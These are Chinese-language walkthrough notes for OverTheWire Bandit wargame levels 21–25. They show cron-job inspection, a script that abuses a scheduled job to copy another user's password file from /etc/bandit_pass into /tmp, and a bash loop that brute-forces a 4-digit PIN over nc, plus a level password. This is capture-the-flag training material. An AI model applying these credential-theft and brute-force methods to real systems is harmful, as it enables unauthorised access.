level21:linux计划任务
ls /etc/cron.d/ #发现可疑文件cronjob_bandit22
cat cronjob_bandit22 #发现执行命令/usr/bin/cronjob_bandit22.sh,查看该文件属性,发现group组有x权限。
/usr/bin/cronjob_bandit22.sh
cat t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv #这里注意,用户没有ls /tmp的权限,但可以访问tmp里面的文件。
level22:linux下求算md5
echo I am user bandit23 | md5sum | cut -d ' ' -f 1 #结果是8ca319486bfbbc3663ea0fbe81326349
cat /tmp/8ca319486bfbbc3663ea0fbe81326349 #由于crontab定时执行相应脚本,所以/tmp/下存在这个文件
level23:bash脚本(当然只是为了解体,可以使用level22的方法,因为总有人已经做好脚本了)
cat /ect/cron.d/cronjob_bandit23 #* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
ls -l /usr/bin/cronjob_bandit23.sh
#-rwxr-x--- 1 bandit23 bandit22 211 Nov 14 10:32 /usr/bin/cronjob_bandit23.sh 具备写权限
#编写脚本:这里使用人家已经写好的
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
#由于执行的时候是将输出重定向到了/dev/null,所以下面一句没意义
#echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
脚本写好,等待一段时间,使用level22的方法,获取下一关密码。
//原来只有到此为止,如今整理的时候发现新增加了几题
level24:brute-forcing
#题目要求$passwd_bandit24 {0000..9999}暴力出下一关的密钥
echo "$passwd_bandit24 0000" | nc localhost 30002
#发现返回结果第二行以Wrong!开头,所以暴力脚本如下:
#!/bin/bash
passwd="$passwd_bandit24"
for i in {0..9999}
do
#printf "try $passwd %04d\n" $i
a=`printf "$passwd %04d" $i | nc localhost 30002 | awk "NR==2" | grep -v Wrong` #awk那段是取返回结果的第二行
if [ -n "$a" ] #判断返回结果是否为空,如果不为空,再次访问获取结果。因为结果在第三行,所以要加这个。
then
printf "$passwd %04d" $i | nc localhost 30002
break
fi
done
#这个不是效率最高的脚本,欢迎有高手可以赐教效率更高的脚本。
level25:非bash的shell